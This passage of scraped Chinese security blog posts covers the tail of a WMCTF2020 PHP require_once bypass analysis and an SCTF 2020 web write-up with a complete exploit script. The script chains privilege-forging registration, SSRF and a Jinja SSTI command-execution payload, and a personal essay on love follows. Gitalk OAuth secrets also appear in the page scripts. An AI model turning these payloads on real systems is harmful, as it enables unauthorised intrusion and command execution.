lstat\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e也就是说只要\u003ccode\u003elstat(path)\u003c/code\u003e小于0,PHP就会认为文件不存在,从而\u003ccode\u003evirtual_file_ex(..., CWD_REALPATH)\u003c/code\u003e,即\u003ccode\u003etsrm_realpath\u003c/code\u003e会出问题,而\u003ccode\u003evirtual_file_ex(..., CWD_FILEPATH)\u003c/code\u003e虽然\u0026#34;找不到\u0026#34;这个文件,但仍然会返回一个合法的路径。\u003cbr/\u003e我们再仔细看看\u003ca href=\"https://linux.die.net/man/3/lstat\"\u003elstat在什么情况下会报错\u003c/a\u003e\u003c/p\u003e\u003cp\u003e其中有一条就很有趣:\u003c/p\u003e\u003cfigure class=\"highlight text\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eThe lstat() function may fail if:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eELOOP\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e More than {SYMLOOP_MAX} symbolic links were encountered\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e during resolution of the path argument.\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e在网上查阅了大半个世纪,所有人都说这是通过sysconf动态赋值的,只要满足不小于POSIX规定的8即可。可是我找到了一件很搞笑的事情:\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://github.com/torvalds/linux/search?q=MAXSYMLINKS\u0026amp;unscoped_q=MAXSYMLINKS\"\u003ehttps://github.com/torvalds/linux/search?q=MAXSYMLINKS\u0026amp;unscoped_q=MAXSYMLINKS\u003c/a\u003e\u003c/p\u003e\u003cimg src=\"https://blog.frankli.site/2020/08/05/Security/php-src/WMCTF2020-PHP-source-analysis/eloop.png\" class=\"\"/\u003e\u003cp\u003e无敌的Linux竟然是把这个值写死成40的,nb,属实nb\u003c/p\u003e\u003cp\u003e至此,我们有了一个payload,即\u003ccode\u003e\u0026#34;/proc/self/root\u0026#34;*21+/flag\u003c/code\u003e\u003c/p\u003e\u003cp\u003epayload中:\u003ccode\u003e/proc/self/root\u003c/code\u003e提供了两层symlink(\u003ccode\u003e/proc/self\u003c/code\u003e指向\u003ccode\u003e/proc/[pid]\u003c/code\u003e),也就是说重复21次我们将得到42层symlink,比lstat能够处理的层数多出两层。\u003c/p\u003e\u003ch2 id=\"总结\"\u003e总结\u003c/h2\u003e\u003cul\u003e\u003cli\u003e在软件开发的过程中,要有一个统一的异常处理机制,不要一会返回0,一会抛异常的\u003c/li\u003e\u003cli\u003e要和一起写代码的沟通好,写好文档(其实\u003ccode\u003evirtual_file_ex\u003c/code\u003e上面注释里写了,返回0是正常,1是有错,我估计调用的人就没好好看(逃))\u003c/li\u003e\u003cli\u003e要保证一个操作的一致性,比如这个\u003ccode\u003erequire_once\u003c/code\u003e就因为内部前后不一致导致了绕过\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"备注\"\u003e备注\u003c/h2\u003e\u003cul\u003e\u003cli\u003e源码分析基于PHP 7.4.5,截止\u003ca href=\"https://github.com/php/php-src/blob/44ad2db15fe786b07ce793624885e0c43e0af897/Zend/zend_virtual_cwd.c#L885\"\u003e8.0.0-beta1\u003c/a\u003e php 仍然使用lstat的返回值作为文件是否存在的依据\u003c/li\u003e\u003cli\u003e在源码分析的过程中还有一个地方可能导致类似的问题,有兴趣的自己看,此处不点明(\u003c/li\u003e\u003c/ul\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"/\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"/\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async=\"\"\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.frankli.site/2020/08/05/Security/php-src/WMCTF2020-PHP-source-analysis/"},{"title":"SCTF 2020 两道Web题 Writeup","time":"2020-07-06T16:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"UnsafeDefenseSystem\"\u003eUnsafeDefenseSystem\u003c/h2\u003e\u003cp\u003ePHP/5.6.26, tp 5.0.24\u003cbr/\u003e经过一番吐血的信息搜集,看到了这个破静态站的源码里竟然有注释\u003c/p\u003e\u003cimg src=\"https://blog.frankli.site/2020/07/07/Security/Writeup/SCTF-2020-Web/hint.png\" class=\"\" title=\"hint in comment\"/\u003e\u003cblockquote\u003e\u003cp\u003e我要对出题人使出极限一换一\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e访问/protect.py能看到一个超长的憨批监控脚本,其实也不用看\u003cbr/\u003e在静态站注释提示的/public/nationalsb/login.php的注释中又看到了关于密码的提示\u003c/p\u003e\u003cimg src=\"https://blog.frankli.site/2020/07/07/Security/Writeup/SCTF-2020-Web/passwd_hint.png\" class=\"\" title=\"passwd_hint\"/\u003e\u003cp\u003e通过爆破得到用户名密码:\u003c/p\u003e\u003cfigure class=\"highlight text\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eAdmin1964752\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eDsaPPPP!@#amspe1221\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e后台存在lfi。经过一番读文件,看到index controller中存在反序列化点\u003c/p\u003e\u003cimg src=\"https://blog.frankli.site/2020/07/07/Security/Writeup/SCTF-2020-Web/entry.png\" class=\"\" title=\"unserialize entry\"/\u003e\u003cp\u003e结合上文所知道的thinkphp版本可以搜到:\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://althims.com/2020/02/07/thinkphp-5-0-24-unserialize/\"\u003ehttps://althims.com/2020/02/07/thinkphp-5-0-24-unserialize/\u003c/a\u003e\u003cbr/\u003e\u003ca href=\"https://xz.aliyun.com/t/7594\"\u003ehttps://xz.aliyun.com/t/7594\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"http://xn--protect-gq4kgoltk9x2jgvm3c8kpghez02h8zvad37bkmqos5b.py\"\u003e出题人可能是想让条件竞争过protect.py\u003c/a\u003e,但是实际上我们可以往/tmp目录底下写文件,并且在nationalsb那里包含这一文件,最终拿到shell\u003c/p\u003e\u003cimg src=\"https://blog.frankli.site/2020/07/07/Security/Writeup/SCTF-2020-Web/phpinfo.png\" class=\"\" title=\"phpinfo\"/\u003e\u003ch2 id=\"jsonhub\"\u003ejsonhub\u003c/h2\u003e\u003cp\u003e白盒审计。对外开放的是web1,一个Django服务,内网还有个flask。\u003c/p\u003e\u003cp\u003e首先整理思路:首先要过那个django的token,然后ssrf请求flask_rpc,这样才能带上Content-Type发POST请求\u003c/p\u003e\u003cimg src=\"https://blog.frankli.site/2020/07/07/Security/Writeup/SCTF-2020-Web/create_user.png\" class=\"\" title=\"User creation flaw\"/\u003e\u003cp\u003e很明显,注册的时候参数完全可控,也就是说可以伪造管理员身份。将两个字段,\u003ccode\u003eis_superuser\u003c/code\u003e与\u003ccode\u003eis_staff\u003c/code\u003e都设置为True,就能访问 \u003ccode\u003ehttp://39.104.19.182/admin/app/token/\u003c/code\u003e 拿到token了。\u003c/p\u003e\u003cp\u003e在请求后方flask服务前,django服务对\u003ccode\u003eREMOTE_URL\u003c/code\u003e进行了验证。由于题目部署在了docker里,访问公网ip时\u003ccode\u003eREMOTE_URL\u003c/code\u003e实际上是172.多少多少(即使不在docker里也是公网ip)。\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://xz.aliyun.com/t/3302\"\u003ehttps://xz.aliyun.com/t/3302\u003c/a\u003e\u003cbr/\u003e利用CVE-2018-14574漏洞进行跳转即可\u003c/p\u003e\u003cp\u003e再看第二个服务:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e@app.before_request\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003ebefore_request\u003c/span\u003e():\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e data = \u003cspan class=\"built_in\"\u003estr\u003c/span\u003e(request.data)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;{{\u0026#34;\u003c/span\u003e \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e data \u003cspan class=\"keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;}}\u0026#34;\u003c/span\u003e \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e data \u003cspan class=\"keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;{%\u0026#34;\u003c/span\u003e \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e data \u003cspan class=\"keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;%}\u0026#34;\u003c/span\u003e \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e data:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e abort(\u003cspan class=\"number\"\u003e401\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e json.loads(...)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003epython中的json模块在解析json时会自动将转义过的字符恢复,所以可以用\u003ccode\u003e\u0026#34;\\u007b\u0026#34;\u003c/code\u003e来绕过\u003ccode\u003ebefore_request\u003c/code\u003e\u003cbr/\u003e关于表达式的正则过滤,由于对符号的过滤不严格导致了一个非预期,甚至完全不需要管num1和num2:\u003c/p\u003e\u003cp\u003eexploit:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e requests \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e Request, session, get, post\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e bs4 \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e BeautifulSoup\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e base64 \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e b64encode\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e json\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eHOST = \u003cspan class=\"string\"\u003e\u0026#39;http://39.104.19.182\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eses = session()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUSER = \u003cspan class=\"string\"\u003e\u0026#39;frkasdf\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ePASS = \u003cspan class=\"string\"\u003e\u0026#39;qwer\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# session 默认keep-alive,这个服务端好像有点连接性问题,所以单独请求\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003epost(HOST + \u003cspan class=\"string\"\u003e\u0026#39;/reg/\u0026#39;\u003c/span\u003e, json={\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;username\u0026#39;\u003c/span\u003e: USER,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;password\u0026#39;\u003c/span\u003e: PASS,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;is_staff\u0026#39;\u003c/span\u003e: \u003cspan class=\"literal\"\u003eTrue\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;is_superuser\u0026#39;\u003c/span\u003e: \u003cspan class=\"literal\"\u003eTrue\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}).json()[\u003cspan class=\"string\"\u003e\u0026#39;code\u0026#39;\u003c/span\u003e]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eses.post(HOST + \u003cspan class=\"string\"\u003e\u0026#39;/login/\u0026#39;\u003c/span\u003e, json={\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;username\u0026#39;\u003c/span\u003e: USER,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;password\u0026#39;\u003c/span\u003e: PASS,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003epage = BeautifulSoup(get(\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e HOST + \u003cspan class=\"string\"\u003e\u0026#39;/admin/app/token/\u0026#39;\u003c/span\u003e, cookies=ses.cookies\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e).text, \u003cspan class=\"string\"\u003e\u0026#39;lxml\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etoken = page.find(\u003cspan class=\"string\"\u003e\u0026#39;td\u0026#39;\u003c/span\u003e, attrs={\u003cspan class=\"string\"\u003e\u0026#39;class\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;field-Token\u0026#39;\u003c/span\u003e}).text\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003essti = \u003cspan class=\"string\"\u003e\u0026#39;{{config.__class__.__init__.__globals__[\u0026#34;os\u0026#34;].popen(\u0026#34;/readflag\u0026#34;).read() + \u0026#34;\u0026#34;}}\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003epayload = (\u003cspan class=\"string\"\u003e\u0026#39;{\u0026#39;\u003c/span\u003e + json.dumps({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;num1\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;num2\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;symbols\u0026#39;\u003c/span\u003e: ssti,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})[\u003cspan class=\"number\"\u003e1\u003c/span\u003e:-\u003cspan class=\"number\"\u003e1\u003c/span\u003e].replace(\u003cspan class=\"string\"\u003e\u0026#39;{\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;\\\\u007b\u0026#39;\u003c/span\u003e).replace(\u003cspan class=\"string\"\u003e\u0026#39;}\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;\\\\u007d\u0026#39;\u003c/span\u003e) + \u003cspan class=\"string\"\u003e\u0026#39;}\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003epayload = b64encode(payload.encode()).decode()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ereq = Request(\u003cspan class=\"string\"\u003e\u0026#39;GET\u0026#39;\u003c/span\u003e, HOST + \u003cspan class=\"string\"\u003e\u0026#39;//127.0.0.1:8000/flask_rpc\u0026#39;\u003c/span\u003e, params={\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;methods\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;POST\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;url\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;http://localhost:5000/caculator\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# flask在:5000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;data\u0026#39;\u003c/span\u003e: payload\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}).prepare()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(json.loads(ses.post(HOST + \u003cspan class=\"string\"\u003e\u0026#39;/home/\u0026#39;\u003c/span\u003e, json={\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;url\u0026#39;\u003c/span\u003e: req.url,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;token\u0026#39;\u003c/span\u003e: token\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}).json()[\u003cspan class=\"string\"\u003e\u0026#39;message\u0026#39;\u003c/span\u003e])[\u003cspan class=\"string\"\u003e\u0026#39;message\u0026#39;\u003c/span\u003e])\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"/\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"/\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async=\"\"\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.frankli.site/2020/07/07/Security/Writeup/SCTF-2020-Web/"},{"title":"关于爱","time":"2020-05-19T16:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e对“爱”这一情感的一些非常零散的想法与思考\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"爱\"\u003e爱\u003c/h2\u003e\u003cp\u003e是一件很难下定义的情感。\u003cbr/\u003e这种爱,是人从最基本的生存需要中发展出的丰富的社会情感,与所有情感一同成为了人之所以为人的一部分。\u003c/p\u003e\u003ch4 id=\"父母\"\u003e父母\u003c/h4\u003e\u003cp\u003e父母之间的爱,是经历了时间考验的爱。\u003cbr/\u003e从相遇,从别离又重逢,从一封封信件,到一同面对生活,到有我,到每一次的理解包容,到平常的每一天。\u003cbr/\u003e父母,是我理解爱的一个窗口。\u003c/p\u003e\u003ch4 id=\"致橡树\"\u003e致橡树\u003c/h4\u003e\u003cp\u003e是伟大的爱。\u003cbr/\u003e根,紧握在地下;叶,相触在云里。\u003cbr/\u003e理想的爱是美丽的\u003c/p\u003e\u003ch4 id=\"姥姥\"\u003e姥姥\u003c/h4\u003e\u003cp\u003e厮守。平凡。坚强。\u003c/p\u003e\u003ch4 id=\"文字\"\u003e文字\u003c/h4\u003e\u003cp\u003e用文字写清爱,大概是不可能的。\u003cbr/\u003e网络上那么多的“爱的高级表达”,都觉得好苍白无力\u003cbr/\u003e“爱是人类最复杂,最伟大,最深层的情感”\u003c/p\u003e\u003ch2 id=\"喜欢与爱\"\u003e喜欢与爱\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e坐在一起,什么都不用想,什么都不用做\u003cbr/\u003e就纯粹地坐在一起,看着你的眼睛。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e喜欢与爱,大概没有一个明确的分界线。\u003cbr/\u003e初识,了解,关注,在意,喜欢,爱\u003c/p\u003e\u003ch4 id=\"歌德\"\u003e歌德\u003c/h4\u003e\u003cp\u003e浪漫主义与现实\u003c/p\u003e\u003ch4 id=\"责任\"\u003e责任\u003c/h4\u003e\u003cp\u003e爱不仅仅是简单的情感。爱带来了很多需要直面的事情。\u003cbr/\u003e准备好面对时,才配得上说爱。\u003cbr/\u003e对未来的思考\u003c/p\u003e\u003ch4 id=\"我\"\u003e我\u003c/h4\u003e\u003cp\u003e也许,算?\u003cbr/\u003e不知道。\u003cbr/\u003e\u003cstrong\u003e探寻\u003c/strong\u003e\u003c/p\u003e\u003ch2 id=\"misc\"\u003emisc\u003c/h2\u003e\u003ch4 